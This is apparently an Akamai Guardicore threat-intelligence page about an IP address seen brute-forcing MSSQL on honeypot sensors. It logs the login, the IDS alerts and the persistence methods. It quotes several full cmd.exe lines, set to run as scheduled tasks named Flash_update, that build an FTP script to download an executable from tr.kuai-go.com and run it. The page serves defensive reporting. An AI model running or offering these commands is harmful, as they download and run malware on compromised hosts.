IP Address: 117.30.177.27Previously Malicious
IP Address: 117.30.177.27Previously Malicious
This IP address attempted an attack on a machine in our threat sensors network
|
Role |
Attacker, Scanner |
|
Services Targeted |
MSSQL |
|
Tags |
Access Suspicious Domain File Operation By CMD Create MsSql Procedure CMD Execute MsSql Shell Command Persistency - Mime Filter Persistency - Image Hijack Scheduled Task Creation Successful MSSQL Login MSSQL IDS - Attempted User Privilege Gain DNS Query MSSQL Brute Force |
|
Associated Attack Servers |
|
IP Address |
117.30.177.27 |
|
|
Domain |
- |
|
|
ISP |
China Telecom fujian |
|
|
Country |
China |
|
|
WHOIS |
Created Date |
- |
|
Updated Date |
- |
|
|
Organization |
- |
|
|
First seen in Akamai Guardicore Segmentation |
2020-06-09 |
|
Last seen in Akamai Guardicore Segmentation |
2020-06-09 |
What is Akamai Guardicore SegmentationAkamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More
|
A user logged in using MSSQL with the following credentials: sa / ***** - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt) |
MSSQL Brute Force Successful MSSQL Login |
|
A user logged in using MSSQL with the following credentials: sa / ***** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times |
MSSQL Brute Force Successful MSSQL Login |
|
MSSQL procedures were created: sp_addextendedproc , sp_addlogin , sp_addsrvrolemember , sp_droplogin and sp_password |
Create MsSql Procedure |
|
IDS detected Attempted User Privilege Gain : MS-SQL SQL Injection closing string plus line comment |
IDS - Attempted User Privilege Gain |
|
IDS detected Attempted User Privilege Gain : sp_password - password change |
IDS - Attempted User Privilege Gain |
|
IDS detected Attempted User Privilege Gain : xp_reg* - registry access |
IDS - Attempted User Privilege Gain |
|
IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change |
IDS - Attempted User Privilege Gain |
|
MSSQL executed 24 shell commands |
Execute MsSql Shell Command |
|
The command line cmd.exe /c echo 123>ftpx.txt&echo 123>>ftpx.txt&echo binary>>ftpx.txt&echo get sql.exe c:\windows\inf\rundll32.exe>>ftpx.txt&echo bye>>ftpx.txt&ftp -s:ftpx.txt tr.kuai-go.com&c:\windows\inf\rundll32.exe&del ftpx.txt was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update |
|
|
The command line cmd.exe /c echo 123>1.log&echo 123>>1.log&echo binary>>1.log&echo get 1.exe c:\windows\inf\1.exe>>1.log&echo bye>>1.log&ftp -s:1.log tr.kuai-go.com&c:\windows\inf\1.exe&del 1.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update1 |
|
|
The command line cmd.exe /c echo 123>2.log&echo 123>>2.log&echo binary>>2.log&echo get 2.exe c:\windows\inf\2.exe>>2.log&echo bye>>2.log&ftp -s:2.log tr.kuai-go.com&c:\windows\inf\2.exe&del 2.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update2 |
|
|
The command line cmd.exe /c echo 123>3.log&echo 123>>3.log&echo binary>>3.log&echo get 3.exe c:\windows\inf\3.exe>>3.log&echo bye>>3.log&ftp -s:3.log tr.kuai-go.com&c:\windows\inf\3.exe&del 3.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update3 |
|
|
Process c:\windows\system32\cscript.exe attempted to access suspicious domains: tr.zhzy999.net |
DNS Query Access Suspicious Domain |
|
Process c:\windows\system32\ftp.exe attempted to access suspicious domains: tr.kuai-go.com 4 times |
DNS Query Access Suspicious Domain |
|
Process c:\windows\system32\ftp.exe attempted to access suspicious domains: tr.kuai-go.com |
DNS Query Access Suspicious Domain |
|
Process c:\windows\system32\cscript.exe attempted to access suspicious domains: s.jiancai008.com |
DNS Query Access Suspicious Domain |
|
Process c:\windows\system32\cscript.exe attempted to access suspicious domains: sx.zhzy999.net |
DNS Query Access Suspicious Domain |
|
Process c:\windows\system32\cscript.exe attempted to access suspicious domains: s.jiancai008.com |
DNS Query Access Suspicious Domain |
|
Process NetworkService Service Group attempted to access suspicious domains: s.jiancai008.com and tr.kuai-go.com |
DNS Query Access Suspicious Domain |
|
IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution |
IDS - Attempted User Privilege Gain |
|
Process c:\windows\system32\wscript.exe attempted to access suspicious domains: sex.zhzy999.net |
DNS Query Access Suspicious Domain |
|
c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line c:\windows\system32\taskmgr.exe to run using Persistency - Image Hijack |
Persistency - Image Hijack |
|
c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 21 times |
Persistency - Mime Filter |
|
Connection was closed due to user inactivity |
|
© 2023 Akamai Technologies